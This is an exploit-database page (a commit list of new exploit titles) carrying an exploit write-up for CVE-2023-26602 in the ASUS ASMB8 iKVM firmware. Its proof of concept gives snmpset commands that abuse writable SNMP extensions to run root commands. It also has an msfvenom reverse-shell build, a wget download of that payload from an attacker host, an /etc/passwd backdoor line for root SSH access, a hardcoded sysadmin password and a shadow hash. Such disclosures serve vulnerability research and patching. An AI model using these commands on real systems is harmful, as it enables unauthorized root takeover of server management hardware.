7ebfc36557
24 changes to exploits/shellcodes/ghdb ASUS ASMB8 iKVM 1.14.51 - Remote Code Execution (RCE) Ruckus IoT Controller 1.7.1.0 - Undocumented Backdoor Account Dell EMC iDRAC7/iDRAC8 2.52.52.52 - Remote Code Execution (RCE) FLIR AX8 1.46.16 - Remote Command Injection ABB Cylon Aspect 3.08.02 - Cross-Site Request Forgery (CSRF) Ethercreative Logs 3.0.3 - Path Traversal Garage Management System 1.0 (categoriesName) - Stored XSS Nagios Log Server 2024R1.3.1 - Stored XSS ProConf 6.0 - Insecure Direct Object Reference (IDOR) Teedy 1.11 - Account Takeover via Stored Cross-Site Scripting (XSS) WooCommerce Customers Manager 29.4 - Post-Authenticated SQL Injection ABB Cylon Aspect 3.08.03 (webServerDeviceLabelUpdate.php) - File Write DoS ABB Cylon Aspect 4.00.00 (factorySaved.php) - Unauthenticated XSS ABB Cylon Aspect 4.00.00 (factorySetSerialNum.php) - Remote Code Execution Car Rental Project 1.0 - Remote Code Execution KodExplorer 4.52 - Open Redirect NagVis 1.9.33 - Arbitrary File Read phpMyFAQ 3.1.7 - Reflected Cross-Site Scripting (XSS) phpMyFAQ 3.2.10 - Unintended File Download Triggered by Embedded Frames Smart Manager 8.27.0 - Post-Authenticated SQL Injection Zabbix 7.0.0 - SQL Injection Hugging Face Transformers MobileViTV2 4.41.1 - Remote Code Execution (RCE) Fortinet FortiOS_ FortiProxy_ and FortiSwitchManager 7.2.0 - Authentication bypass WebMethods Integration Server 10.15.0.0000-0092 - Improper Access on Login Page
61 lines
No EOL
3.5 KiB
Text
61 lines
No EOL
3.5 KiB
Text
# Exploit Title: ASUS ASMB8 iKVM 1.14.51 - Remote Code Execution (RCE)
|
|
# Date: 2023-02-16
|
|
# Exploit Author: d1g@segfault.net for NetworkSEC [NWSSA-002-2023], SC
|
|
# Vendor Homepage: https://servers.asus.com/search?q=ASMB8
|
|
# Version/Model: ASMB8 iKVM Firmware <= 1.14.51 (probably others)
|
|
# Tested on: Linux AMI2CFDA1C7570E 2.6.28.10-ami armv5tejl
|
|
# CVE: CVE-2023-26602
|
|
|
|
++++++++++++++++++++
|
|
0x00 DESCRIPTION
|
|
++++++++++++++++++++
|
|
During a recent engagement, a remote server management interface has been
|
|
discovered. Furthermore, SNMPv2 was found to be enabled, offering write
|
|
access to the private community, subsequently allowing us to introduce
|
|
SNMP arbitrary extensions to achieve RCE.
|
|
We also found a hardcoded account sysadmin:superuser by cracking the
|
|
shadow file (md5crypt) found on the system and identifed an "anonymous"
|
|
user w/ the same password, however a lock seems to be in place to prevent
|
|
using these credentials via SSH (running defshell as default shell).
|
|
+++++++++++++++
|
|
0x01 IMPACT
|
|
+++++++++++++++
|
|
By exploiting SNMP arbitrary extension, we are able to run any command on
|
|
the system w/ root privileges, and we are able to introduce our own user
|
|
circumventing the defshell restriction for SSH.
|
|
+++++++++++++++++++++++++++++++
|
|
0x02 PROOF OF CONCEPT (PoC)
|
|
+++++++++++++++++++++++++++++++
|
|
At first, we have to create required extensions on the system, e.g. via
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "[command]"'
|
|
and if everything is set, we can just run that command by
|
|
snmpbulkwalk -c public -v2c x.x.x NET-SNMP-EXTEND-MIB::nsExtendObjects
|
|
which will execute our defined command and show us its output.
|
|
+++++++++++++++++++++++++++++++
|
|
0x03 SSH Remote Root Access
|
|
+++++++++++++++++++++++++++++++
|
|
The identified RCE can be used to transfer a reverse tcp shell created
|
|
by msfvenom for arm little-endian, e.g.
|
|
msfvenom -p linux/armle/shell_reverse_tcp LHOST=x.x.x.x LPORT=4444 -f elf -o rt.bin
|
|
We can now transfer the binary, adjust permissions and finally run it:
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "wget -O /var/tmp/rt.bin http://x.x.x.x/rt.bin"'
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "chmod +x /var/tmp/rt.bin"'
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "/var/tmp/rt.bin"'
|
|
Again, we have to request execution of the lines in the MIB via:
|
|
snmpbulkwalk -c public -v2c x.x.x.x NET-SNMP-EXTEND-MIB::nsExtendObjects
|
|
We get a reverse connection from the host, and can now act on the local system
|
|
to easily echo our own line into /etc/passwd:
|
|
echo d1g:OmE2EUpLJafIk:0:0:root:/root:/bin/sh >> /etc/passwd
|
|
By setting the standard shell to /bin/sh, we are able to get a SSH root
|
|
shell into the system, effectively circumventing the defshell restriction.
|
|
$ sshpass -p xxxx ssh x.x.x.x -oHostKeyAlgorithms=+ssh-dss -l d1g
|
|
BusyBox v1.13.2 (2017-07-11 18:39:07 CST) built-in shell (ash)
|
|
Enter 'help' for a list of built-in commands.
|
|
# uname -a
|
|
Linux AMI2CFDA1C7570E 2.6.28.10-ami #1 Tue Jul 11 18:49:20 CST 2017 armv5tejl unknown
|
|
# uptime
|
|
15:01:45 up 379 days, 23:33, load average: 2.63, 1.57, 1.25
|
|
# head -n 1 /etc/shadow
|
|
sysadmin:$1$A17c6z5w$5OsdHjBn1pjvN6xXKDckq0:14386:0:99999:7:::
|
|
---
|
|
#EOF |